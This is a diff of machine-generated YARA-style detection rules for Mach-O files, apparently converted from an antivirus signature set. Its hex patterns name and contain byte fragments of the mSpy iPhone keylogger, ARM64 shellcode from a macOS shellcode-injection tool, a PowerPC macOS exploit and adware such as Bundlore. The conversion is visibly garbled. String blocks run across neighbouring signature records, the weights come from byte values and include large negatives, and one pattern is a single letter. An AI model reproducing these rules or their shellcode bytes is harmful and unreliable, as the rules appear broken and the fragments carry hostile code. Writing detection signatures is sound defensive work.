"!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -283543,7 +299982,7 @@ rule _InfrastructureShared_21486{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*8293+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=6 } -rule _InfrastructureShared_21487{ +rule _InfrastructureShared_22769{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 09 00 21 " @@ -283560,7 +299999,7 @@ rule _InfrastructureShared_21487{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*16707+(#a_73_3 & 1)*29697+(#a_64_4 & 1)*28524+(#a_2f_5 & 1)*24950+(#a_67_6 & 1)*27951+(#a_66_7 & 1)*28515+(#a_67_8 & 1)*27977) >=2 } -rule _InfrastructureShared_21488{ +rule _InfrastructureShared_22770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -283577,7 +300016,7 @@ rule _InfrastructureShared_21488{ ((#a_46_0 & 1)*16675+(#a_78_1 & 1)*25964+(#a_61_2 & 1)*27759+(#a_69_3 & 1)*28719+(#a_7a_4 & 1)*29801+(#a_01_5 & 1)*25697+(#a_6c_6 & 1)*26232+(#a_4f_7 & 1)*24909) >=4 } -rule _InfrastructureShared_21489{ +rule _InfrastructureShared_22771{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 0d 00 21 " @@ -283587,31 +300026,49 @@ rule _InfrastructureShared_21489{ $a_63_2 = {73 73 45 78 65 63 43 74 78 01 00 0f 01 65 78 66 69 6c 74 72 61 74 65 46 69 6c 65 73 01 00 0c 01 70 77 6e 53 74 6f 63 6b 41 70 70 73 01 00 0d 01 70 77 6e 43 69 74 69 7a 65 6e 4c 61 62 01 00 0f 01 70 77 6e 53 74 6f 63 6b 4d 61 69 6c 41 70 70 01 00 0e 01 70 77 6e 4c 6f 63 61 74 69 6f 6e 44 62 73 00 00 8d 3c 01 00 05 00 05 00 05 00 21 } //29264 $a_46_3 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 45 43 00 01 00 a5 03 49 89 c4 48 83 78 10 01 0f 86 88 00 00 00 49 8b 7c 24 38 48 89 7d 98 49 8b 44 24 30 48 89 45 90 90 49 8b 44 24 20 48 89 45 88 49 8b 5c 24 28 e8 } //16675 $a_01_4 = {02 48 89 df e8 78 1d 90 01 02 4c 8b 6d c0 4c 89 ef e8 ba 1d 90 01 02 4c 89 6d c8 44 0f b6 c0 48 8b 7d 90 90 48 8b 75 98 48 8b 55 88 48 89 d9 4d 89 fd e8 85 69 90 01 02 49 89 c7 49 89 d5 48 8b 45 c8 48 89 45 c0 48 bf 00 00 00 00 00 00 00 80 e8 24 1d 90 01 02 48 89 df e8 1c 1d 90 01 02 4c 89 ff 4c 89 ee e8 45 fc 90 01 02 48 8b 7d b8 90 00 01 00 2b 03 74 15 49 83 f8 03 77 1c 31 c9 48 89 4d 88 31 db 31 c9 e9 06 01 90 01 02 31 c0 48 } //7552 - $a_31_5 = {e9 06 01 90 01 02 4c 89 c1 90 00 01 00 17 01 64 69 73 70 61 74 63 68 4d 65 73 73 61 67 65 54 6f 53 63 72 69 70 74 01 00 0d 01 2e 63 78 78 5f 64 65 73 74 72 75 63 74 01 00 0e 01 5f 6d 73 67 53 65 6e 64 53 75 70 65 72 32 00 00 8d 40 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 53 6d 61 6c 6c 2e 41 21 78 70 72 00 01 00 7c 00 7f e8 02 a6 90 7e 00 68 90 9e 00 6c 90 be 00 } //17801 - $a_00_6 = {74 90 fe 00 78 91 1e 00 7c 91 3e 00 80 91 5e 00 84 80 1e 00 8c 80 7e 00 70 7c 04 03 78 38 a0 00 80 38 c0 00 01 48 00 03 2d 80 5e 00 8c 80 02 00 00 7c 09 03 78 3c 5f 00 00 38 02 04 38 80 7e 00 70 7d 24 4b 78 7c 05 03 78 38 c0 00 80 48 00 02 a5 38 00 00 00 7c 03 03 78 80 21 00 00 80 01 00 08 7c 08 03 a6 bb c1 ff f8 01 00 68 00 7f e8 02 a6 3c 5f 00 00 80 42 05 c0 80 02 00 00 90 1e 00 38 38 1e 00 3c 80 7e 00 38 38 80 00 01 7c 05 03 78 48 00 04 55 80 1e 00 3c 80 5e 00 3c 80 7e 00 38 7c 04 03 78 7c 45 13 78 38 c0 00 14 48 00 03 99 80 1e 00 3c 80 7e 00 38 38 80 00 02 7c 05 03 78 38 c0 00 03 38 e0 00 01 48 00 03 bd 48 00 04 59 7c 60 1b 78 01 00 28 00 38 60 00 03 3c } //-28560 - $a_00_8 = {04 35 3c 5f 00 00 38 62 02 88 3c 5f 00 00 38 82 02 98 38 a0 00 00 48 00 03 7d 00 00 8d 42 01 00 06 00 06 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 69 50 68 6f 6e 65 4f 53 2f 4d 53 70 79 2e 47 21 4d 54 42 00 } //8198 - $a_01_9 = {6d 73 70 79 2f 61 72 63 68 69 76 65 2f 6d 73 70 79 5f 63 6f 72 65 2f 4d 53 50 59 53 65 72 76 69 63 65 } //1 mspy/archive/mspy_core/MSPYService - $a_01_10 = {63 6f 6d 2e 6d 74 65 63 68 6e 6f 6c 6f 67 79 2e 6d 73 70 79 2e 72 65 6d 6f 76 65 } //1 com.mtechnology.mspy.remove - $a_01_11 = {6b 69 6c 6c 61 6c 6c 20 53 70 72 69 6e 67 42 6f 61 72 64 } //1 killall SpringBoard - $a_01_12 = {4d 53 50 59 53 65 72 76 69 63 65 2f 43 6c 61 73 73 65 73 2f 53 65 6e 73 6f 72 73 2f 4b 65 79 6c 6f 67 67 65 72 2f 4b 65 79 6c 6f 67 67 65 72 53 65 6e 73 6f 72 2e 6d } //1 MSPYService/Classes/Sensors/Keylogger/KeyloggerSensor.m + $a_31_5 = {e9 06 01 90 01 02 4c 89 c1 90 00 01 00 17 01 64 69 73 70 61 74 63 68 4d 65 73 73 61 67 65 54 6f 53 63 72 69 70 74 01 00 0d 01 2e 63 78 78 5f 64 65 73 74 72 75 63 74 01 00 0e 01 5f 6d 73 67 53 65 6e 64 53 75 70 65 72 32 00 00 8d 3f 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 68 65 6c 6c 63 6f 64 65 49 6e 6a 65 63 74 2e 42 00 01 00 2a 00 21 0c 8e d2 01 0e a0 f2 } //17801 + $a_f8_6 = {ac 8e d2 81 2d ac f2 81 ee cd f2 41 ce e5 f2 e1 03 1f f8 21 ed 8d d2 c1 6d ae f2 e1 65 01 00 } //-31775 + $a_f2_7 = {8c ed f2 e1 83 1e f8 21 08 8e d2 01 8e ad f2 21 6d cc f2 21 8c ee f2 e1 03 1e f8 e1 65 8a d2 21 6f ae f2 81 ae cc f2 01 00 2a 00 a1 ed e5 f2 e1 83 1d f8 e1 e5 8d d2 01 ae ac f2 c1 0d c0 f2 e1 03 1d f8 e1 a5 8e d2 61 4e ae f2 e1 45 cc f2 21 cd ed f2 e1 83 01 00 32 00 1c f8 ff 03 1c f8 01 05 80 d2 e1 63 21 cb e1 83 1b f8 01 07 80 d2 e1 63 21 cb e1 03 1b f8 e0 03 01 aa e1 43 01 d1 e2 03 1f aa 70 07 80 d2 e1 66 02 d4 01 00 0b 00 5f 76 6d 5f 70 72 6f 74 65 63 74 01 00 11 00 5f 6d 61 63 68 5f 76 6d 5f 61 6c 6c 6f 63 61 74 65 01 00 0e 00 5f 6d 61 63 68 5f 76 6d 5f 77 72 69 74 65 01 00 16 00 5f 74 68 } //42 + $a_64_8 = {63 72 65 61 74 65 5f 72 75 6e 6e 69 6e 67 00 00 8d 40 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 53 6d 61 6c 6c 2e 41 21 78 70 72 00 01 00 7c 00 7f e8 02 a6 90 7e 00 68 90 9e 00 6c 90 be 00 70 90 de 00 74 90 fe 00 78 91 1e 00 7c 91 3e 00 80 91 5e 00 } //25970 + $a_00_9 = {8c 80 7e 00 70 7c 04 03 78 38 a0 00 80 38 c0 00 01 48 00 03 2d 80 5e 00 8c 80 02 00 00 7c } //-32636 + $a_3c_10 = {00 00 38 02 04 38 80 7e 00 70 7d 24 4b 78 7c 05 03 78 38 c0 00 80 48 00 02 a5 38 00 00 00 7c 03 03 78 80 21 00 00 80 01 00 08 7c 08 03 a6 bb c1 ff f8 01 00 68 00 7f e8 02 a6 3c 5f 00 00 80 42 05 c0 80 02 00 00 90 1e 00 38 38 1e 00 3c 80 7e 00 38 38 80 00 01 7c 05 03 78 48 00 04 55 80 1e 00 3c 80 5e 00 3c 80 7e 00 38 7c 04 03 78 7c 45 13 78 38 c0 00 14 48 00 } //777 + $a_1e_11 = {3c 80 7e 00 38 38 80 00 02 7c 05 03 78 38 c0 00 03 38 e0 00 01 48 00 03 bd 48 00 04 59 7c 60 1b 78 01 00 28 00 38 60 00 03 3c 5f 00 00 38 82 06 20 48 00 04 35 3c 5f 00 00 38 62 02 88 3c 5f 00 00 38 82 02 98 38 a0 00 00 48 00 03 7d 00 00 8d 42 01 00 06 00 06 00 08 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 69 50 68 6f 6e 65 4f 53 2f 4d 53 70 79 2e 47 21 4d 54 42 00 01 00 22 01 6d } //-26365 + $a_2f_12 = {72 63 68 69 76 65 2f 6d 73 70 79 5f 63 6f 72 65 2f 4d 53 50 59 53 65 72 76 69 63 65 01 00 1b 01 63 6f 6d 2e 6d 74 65 63 68 6e 6f 6c 6f 67 79 2e 6d 73 70 79 2e 72 65 6d 6f 76 65 01 00 13 01 6b 69 6c 6c 61 6c 6c 20 53 70 72 69 6e 67 42 6f 61 72 64 01 00 37 01 4d 53 50 59 53 65 72 76 69 63 65 2f 43 6c 61 73 73 65 73 2f 53 65 6e 73 6f 72 73 2f 4b 65 79 6c 6f 67 67 } //28787 condition: - ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25193+(#a_63_2 & 1)*29264+(#a_46_3 & 1)*16675+(#a_01_4 & 1)*7552+(#a_31_5 & 1)*17801+(#a_00_6 & 1)*-28560+(#a_00_8 & 1)*8198+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1) >=3 + ((#a_46_0 & 1)*16675+(#a_61_1 & 1)*25193+(#a_63_2 & 1)*29264+(#a_46_3 & 1)*16675+(#a_01_4 & 1)*7552+(#a_31_5 & 1)*17801+(#a_f8_6 & 1)*-31775+(#a_f2_7 & 1)*42+(#a_64_8 & 1)*25970+(#a_00_9 & 1)*-32636+(#a_3c_10 & 1)*777+(#a_1e_11 & 1)*-26365+(#a_2f_12 & 1)*28787) >=3 } -rule _InfrastructureShared_21490{ +rule _InfrastructureShared_22772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 64 6c 6f 61 64 2e 45 43 00 01 00 a5 03 49 89 c4 48 83 78 10 01 0f 86 88 00 00 00 49 8b 7c 24 38 48 89 7d 98 49 8b 44 24 30 48 89 45 90 90 49 8b 44 24 20 48 89 45 88 49 8b 5c 24 28 e8 } //16675 $a_01_1 = {02 48 89 df e8 78 1d 90 01 02 4c 8b 6d c0 4c 89 ef e8 ba 1d 90 01 02 4c 89 6d c8 44 0f b6 c0 48 8b 7d 90 90 48 8b 75 98 48 8b 55 88 48 89 d9 4d 89 fd e8 85 69 90 01 02 49 89 c7 49 89 d5 48 8b 45 c8 48 89 45 c0 48 bf 00 00 00 00 00 00 00 80 e8 24 1d 90 01 02 48 89 df e8 1c 1d 90 01 02 4c 89 ff 4c 89 ee e8 45 fc 90 01 02 48 8b 7d b8 90 00 01 00 2b 03 74 15 49 83 f8 03 77 1c 31 c9 48 89 4d 88 31 db 31 c9 e9 06 01 90 01 02 31 c0 48 } //7552 - $a_31_2 = {e9 06 01 90 01 02 4c 89 c1 90 00 01 00 17 01 64 69 73 70 61 74 63 68 4d 65 73 73 61 67 65 54 6f 53 63 72 69 70 74 01 00 0d 01 2e 63 78 78 5f 64 65 73 74 72 75 63 74 01 00 0e 01 5f 6d 73 67 53 65 6e 64 53 75 70 65 72 32 00 00 8d 40 01 00 03 00 03 00 03 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 53 6d 61 6c 6c 2e 41 21 78 70 72 00 01 00 7c 00 7f e8 02 a6 90 7e 00 68 90 9e 00 6c 90 be 00 } //17801 - $a_00_3 = {74 90 fe 00 78 91 1e 00 7c 91 3e 00 80 91 5e 00 84 80 1e 00 8c 80 7e 00 70 7c 04 03 78 38 a0 00 80 38 c0 00 01 48 00 03 2d 80 5e 00 8c 80 02 00 00 7c 09 03 78 3c 5f 00 00 38 02 04 38 80 7e 00 70 7d 24 4b 78 7c 05 03 78 38 c0 00 80 48 00 02 a5 38 00 00 00 7c 03 03 78 80 21 00 00 80 01 00 08 7c 08 03 a6 bb c1 ff f8 01 00 68 00 7f e8 02 a6 3c 5f 00 00 80 42 05 c0 80 02 00 00 90 1e 00 38 38 1e 00 3c 80 7e 00 38 38 80 00 01 7c 05 03 78 48 00 04 55 80 1e 00 3c 80 5e 00 3c 80 7e 00 38 7c 04 03 78 7c 45 13 78 38 c0 00 14 48 00 03 99 80 1e 00 3c 80 7e 00 38 38 80 00 02 7c 05 03 78 38 c0 00 03 38 e0 00 01 48 00 03 bd 48 00 04 59 7c 60 1b 78 01 00 28 00 38 60 00 03 3c } //-28560 + $a_31_2 = {e9 06 01 90 01 02 4c 89 c1 90 00 01 00 17 01 64 69 73 70 61 74 63 68 4d 65 73 73 61 67 65 54 6f 53 63 72 69 70 74 01 00 0d 01 2e 63 78 78 5f 64 65 73 74 72 75 63 74 01 00 0e 01 5f 6d 73 67 53 65 6e 64 53 75 70 65 72 32 00 00 8d 3f 01 00 08 00 08 00 08 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 68 65 6c 6c 63 6f 64 65 49 6e 6a 65 63 74 2e 42 00 01 00 2a 00 21 0c 8e d2 01 0e a0 f2 } //17801 + $a_f8_3 = {ac 8e d2 81 2d ac f2 81 ee cd f2 41 ce e5 f2 e1 03 1f f8 21 ed 8d d2 c1 6d ae f2 e1 65 01 00 } //-31775 + $a_f2_4 = {8c ed f2 e1 83 1e f8 21 08 8e d2 01 8e ad f2 21 6d cc f2 21 8c ee f2 e1 03 1e f8 e1 65 8a d2 21 6f ae f2 81 ae cc f2 01 00 2a 00 a1 ed e5 f2 e1 83 1d f8 e1 e5 8d d2 01 ae ac f2 c1 0d c0 f2 e1 03 1d f8 e1 a5 8e d2 61 4e ae f2 e1 45 cc f2 21 cd ed f2 e1 83 01 00 32 00 1c f8 ff 03 1c f8 01 05 80 d2 e1 63 21 cb e1 83 1b f8 01 07 80 d2 e1 63 21 cb e1 03 1b f8 e0 03 01 aa e1 43 01 d1 e2 03 1f aa 70 07 80 d2 e1 66 02 d4 01 00 0b 00 5f 76 6d 5f 70 72 6f 74 65 63 74 01 00 11 00 5f 6d 61 63 68 5f 76 6d 5f 61 6c 6c 6f 63 61 74 65 01 00 0e 00 5f 6d 61 63 68 5f 76 6d 5f 77 72 69 74 65 01 00 16 00 5f 74 68 } //42 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*7552+(#a_31_2 & 1)*17801+(#a_00_3 & 1)*-28560) >=5 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*7552+(#a_31_2 & 1)*17801+(#a_f8_3 & 1)*-31775+(#a_f2_4 & 1)*42) >=5 } -rule _InfrastructureShared_21491{ +rule _InfrastructureShared_22773{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 61 63 4f 53 2f 53 68 65 6c 6c 63 6f 64 65 49 6e 6a 65 63 74 2e 42 00 01 00 2a 00 21 0c 8e d2 01 0e a0 f2 e1 83 1f f8 61 ac 8e d2 81 2d ac f2 81 ee cd f2 41 ce e5 f2 e1 03 1f f8 21 ed 8d d2 c1 6d ae } //16675 + $a_01_1 = {00 2a 00 c8 f2 21 8c ed f2 e1 83 1e f8 21 08 8e d2 01 8e ad f2 21 6d cc f2 21 8c ee f2 e1 03 1e f8 e1 65 8a d2 21 6f ae f2 81 ae cc f2 01 00 2a 00 a1 ed e5 f2 e1 83 1d f8 e1 e5 8d d2 01 ae ac f2 c1 0d c0 f2 e1 03 1d f8 e1 a5 8e d2 61 4e ae f2 e1 45 cc f2 21 cd ed f2 e1 83 01 00 32 00 1c f8 ff 03 1c f8 } //-7694 + $a_d2_2 = {63 21 cb e1 83 1b f8 01 07 80 d2 e1 63 21 cb e1 03 1b f8 e0 03 01 aa e1 43 01 d1 e2 03 1f aa 70 07 80 d2 e1 66 02 d4 01 00 0b 00 5f 76 6d 5f 70 72 6f 74 65 63 74 01 00 11 00 5f 6d 61 63 68 5f 76 6d 5f 61 6c 6c 6f 63 61 74 65 01 00 0e 00 5f 6d 61 63 68 5f 76 6d 5f 77 72 69 74 65 01 00 16 00 5f 74 68 72 65 61 64 5f 63 72 65 61 74 65 5f 72 75 6e 6e 69 6e 67 00 00 8d 40 01 00 03 00 03 } //1281 + $a_3a_4 = {78 70 6c 6f 69 74 3a 4d 61 63 4f 53 2f 53 6d 61 6c 6c 2e 41 21 78 70 72 00 01 00 7c 00 7f e8 02 a6 90 7e 00 68 90 9e 00 6c 90 be 00 70 90 de 00 74 90 fe 00 78 91 1e 00 7c 91 3e 00 80 91 5e 00 84 80 1e 00 8c 80 } //19521 + $a_7c_5 = {03 78 38 a0 00 80 38 c0 00 01 48 00 03 2d 80 5e 00 8c 80 02 00 00 7c 09 03 78 3c 5f 00 00 38 02 04 38 80 7e 00 70 7d 24 4b 78 7c 05 03 78 38 c0 00 80 48 00 02 a5 38 00 00 00 7c 03 03 78 80 21 00 00 80 01 00 08 7c 08 03 a6 bb c1 ff f8 01 00 68 00 7f e8 02 a6 3c 5f 00 00 80 42 05 c0 80 02 00 00 90 1e 00 38 38 1e 00 3c 80 7e 00 38 38 80 } //126 + $a_05_6 = {03 78 48 00 04 55 80 1e 00 3c 80 5e 00 3c 80 7e 00 38 7c 04 03 78 7c 45 13 78 38 c0 00 14 48 00 03 99 80 1e 00 3c 80 7e 00 38 38 80 00 02 7c 05 03 78 38 c0 00 03 38 e0 00 01 48 00 03 bd 48 00 04 59 7c 60 1b 78 01 00 28 00 38 60 00 03 3c 5f 00 00 38 82 06 20 48 00 04 35 3c 5f 00 00 38 62 02 88 3c 5f 00 00 38 82 02 98 38 a0 00 00 48 00 03 7d 00 00 8d 42 01 00 06 00 06 00 } //256 + $a_23_7 = {4c 46 50 45 52 3a 48 53 54 52 3a 69 50 68 6f 6e 65 4f 53 2f 4d 53 70 79 2e 47 21 4d 54 42 00 01 00 } //8 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-7694+(#a_d2_2 & 1)*1281+(#a_3a_4 & 1)*19521+(#a_7c_5 & 1)*126+(#a_05_6 & 1)*256+(#a_23_7 & 1)*8) >=8 + +} +rule _InfrastructureShared_22774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -283623,7 +300080,7 @@ rule _InfrastructureShared_21491{ ((#a_46_0 & 1)*16675+(#a_a0_1 & 1)*30723+(#a_00_2 & 1)*-32648) >=3 } -rule _InfrastructureShared_21492{ +rule _InfrastructureShared_22775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 08 00 21 " @@ -283639,7 +300096,7 @@ rule _InfrastructureShared_21492{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*25445+(#a_6c_2 & 1)*26994+(#a_74_3 & 1)*28233+(#a_01_4 & 1)*29545+(#a_2e_5 & 1)*29281+(#a_00_7 & 1)*1) >=6 } -rule _InfrastructureShared_21493{ +rule _InfrastructureShared_22776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 21 " @@ -283655,7 +300112,7 @@ rule _InfrastructureShared_21493{ ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*27491+(#a_00_2 & 1)*24953+(#a_73_3 & 1)*30464+(#a_2f_4 & 1)*28769+(#a_79_5 & 1)*27452+(#a_6c_6 & 1)*11886) >=7 } -rule _InfrastructureShared_21494{ +rule _InfrastructureShared_22777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 03 00 21 " @@ -283667,7 +300124,7 @@ rule _InfrastructureShared_21494{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*29298+(#a_6d_2 & 1)*25710) >=2 } -rule _InfrastructureShared_21495{ +rule _InfrastructureShared_22778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283680,7 +300137,7 @@ rule _InfrastructureShared_21495{ ((#a_46_0 & 1)*16675+(#a_6b_1 & 1)*24946+(#a_64_3 & 1)*8291+(#a_61_4 & 1)*25193) >=4 } -rule _InfrastructureShared_21496{ +rule _InfrastructureShared_22779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 0a 00 21 " @@ -283697,7 +300154,7 @@ rule _InfrastructureShared_21496{ ((#a_46_0 & 1)*16675+(#a_57_1 & 1)*17247+(#a_44_2 & 1)*20300+(#a_89_3 & 1)*-14227+(#a_3a_4 & 1)*17744+(#a_c0_5 & 1)*0+(#a_4c_8 & 1)*9216+(#a_48_9 & 1)*400) >=8 } -rule _InfrastructureShared_21497{ +rule _InfrastructureShared_22780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -283710,7 +300167,7 @@ rule _InfrastructureShared_21497{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*-1+(#a_90_2 & 1)*-7043+(#a_74_3 & 1)*26988) >=6 } -rule _InfrastructureShared_21498{ +rule _InfrastructureShared_22781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 0a 00 21 " @@ -283721,15 +300178,15 @@ rule _InfrastructureShared_21498{ $a_52_3 = {50 55 41 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 42 00 06 00 29 00 4c 69 62 72 61 72 79 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2f 70 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 } //20550 $a_41_4 = {70 6c 69 63 61 74 69 6f 6e 73 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2e 61 70 70 01 00 15 00 4d 61 63 4d 65 63 68 61 } //38 $a_5f_5 = {4d 48 4c 50 52 55 50 44 01 00 23 00 4c 69 62 72 61 72 79 2f 4d 61 63 4f 70 74 69 6d 69 7a 65 72 2f 70 6d 6f 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 3a 00 2f 75 70 67 72 61 64 65 72 2f 73 6f 75 72 63 65 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 20 48 65 6c 70 65 72 2f 41 70 70 } //26990 - $a_65_6 = {61 74 65 2e 68 01 00 12 00 53 6d 61 72 74 2d 4d 61 63 20 42 6f 6f 73 74 65 72 58 01 00 37 00 67 65 74 61 64 76 61 6e 63 65 64 6d 61 63 2e 63 6f 6d 2f 6d 74 72 61 63 6b 2f 3f 6d 65 74 64 3d 74 72 61 63 6b 57 65 62 4f 66 66 65 72 73 56 69 65 77 26 70 78 6c 3d 00 00 04 00 8d 54 01 00 04 00 04 00 04 00 21 23 54 45 4c 3a 48 61 } //25924 - $a_6f_7 = {6c 3a 4d 61 63 4f 53 2f 4c 69 6e 50 65 61 73 2e 42 21 4d 54 42 00 01 00 1a 01 2f 50 45 41 53 53 2d 6e 67 2f 73 68 32 62 69 6e 2f 73 68 32 62 69 6e 2e 67 6f 01 00 36 01 2f 6f 70 74 2f 68 6f 73 74 65 64 74 6f 6f 6c 63 61 63 68 65 2f 67 6f 2f 31 2e 31 37 } //27491 - $a_72_8 = {31 2f 78 36 34 2f 73 72 63 2f 66 6d 74 2f 73 63 61 6e 2e 67 6f 01 00 60 01 48 8b 54 24 68 48 8b 74 24 50 48 8b 7c 24 48 48 8b 44 24 70 } //12334 - $a_48_9 = {5c 24 30 49 39 c8 0f 8d 08 01 00 00 0f 83 2f 01 00 00 4c 89 44 24 28 49 c1 e0 04 4c 89 44 24 40 42 8b 1c 06 48 89 d0 e8 cc c9 04 00 48 89 84 24 90 00 00 00 48 8b 4c 24 40 48 8b 54 24 50 8b 5c 0a 04 48 8b 44 24 68 01 00 69 01 49 89 d5 48 29 f2 48 83 c2 14 48 89 54 24 58 4c 8d 7e ec 4c 89 f8 49 c1 ff 3f 4c 21 fe 4c 8d bc 34 94 00 00 00 48 39 d7 73 3f 48 89 44 24 70 4c 89 bc 24 28 01 00 00 4c 89 6c 24 68 48 8d 05 bb a3 09 00 4c 89 c3 4c 89 e9 48 89 d6 e8 2d f0 03 00 4c 8b 6c 24 68 4c 8b bc 24 28 01 00 00 49 89 c0 48 89 cf 48 8b 44 24 70 00 00 8d 55 01 00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 2e 50 21 4d 54 42 00 02 00 9d 02 55 48 89 e5 41 56 53 48 83 ec 90 01 01 48 8b 05 90 01 } //-30392 + $a_65_6 = {61 74 65 2e 68 01 00 12 00 53 6d 61 72 74 2d 4d 61 63 20 42 6f 6f 73 74 65 72 58 01 00 37 00 67 65 74 61 64 76 61 6e 63 65 64 6d 61 63 2e 63 6f 6d 2f 6d 74 72 61 63 6b 2f 3f 6d 65 74 64 3d 74 72 61 63 6b 57 65 62 4f 66 66 65 72 73 56 69 65 77 26 70 78 6c 3d 00 00 04 00 8d 55 01 00 06 00 06 00 03 00 21 23 41 4c 46 50 45 52 } //25924 + $a_54_7 = {3a 4d 61 63 4f 53 2f 42 75 6e 64 6c 6f 72 65 2e 50 21 4d 54 42 00 02 00 9d 02 55 48 89 e5 41 56 53 48 83 ec 90 01 01 48 8b 05 90 01 02 00 00 48 8b 00 48 89 45 e8 48 8d 7d e0 e8 90 01 01 00 00 00 e8 90 01 02 ff ff 48 89 c3 e8 90 01 01 00 00 00 85 c0 } //18490 + $a_01_8 = {41 } //-28546 A + $a_7d_9 = {e8 90 01 01 00 00 00 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 8b 7d e4 e8 90 01 02 ff ff 90 00 02 00 25 02 8b 7d e4 e8 90 01 01 00 00 00 8b 7d e0 31 f6 e8 90 01 01 00 00 00 48 8b 3b 48 89 de e8 90 01 01 00 00 00 90 00 02 00 5a 02 55 48 89 e5 } //-14711 condition: - ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*29697+(#a_00_2 & 1)*30313+(#a_52_3 & 1)*20550+(#a_41_4 & 1)*38+(#a_5f_5 & 1)*26990+(#a_65_6 & 1)*25924+(#a_6f_7 & 1)*27491+(#a_72_8 & 1)*12334+(#a_48_9 & 1)*-30392) >=8 + ((#a_46_0 & 1)*21283+(#a_6d_1 & 1)*29697+(#a_00_2 & 1)*30313+(#a_52_3 & 1)*20550+(#a_41_4 & 1)*38+(#a_5f_5 & 1)*26990+(#a_65_6 & 1)*25924+(#a_54_7 & 1)*18490+(#a_01_8 & 1)*-28546+(#a_7d_9 & 1)*-14711) >=8 } -rule _InfrastructureShared_21499{ +rule _InfrastructureShared_22782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 21 " @@ -283737,27 +300194,15 @@ rule _InfrastructureShared_21499{ $a_46_0 = {45 52 3a 50 55 41 3a 4d 61 63 4f 53 2f 41 4d 43 6c 65 61 6e 65 72 2e 42 00 06 00 29 00 4c 69 62 72 61 72 79 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2f 70 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 26 00 2f 41 } //16675 $a_69_1 = {61 74 69 6f 6e 73 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2e 61 70 70 01 00 15 00 4d 61 63 4d 65 63 68 61 6e 69 63 5f 4d 4d 48 4c 50 52 55 50 44 01 00 23 00 4c 69 62 72 61 72 79 2f 4d 61 63 4f 70 74 69 6d 69 7a 65 72 2f 70 6d 6f 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 3a 00 2f 75 70 67 72 61 64 65 72 } //28784 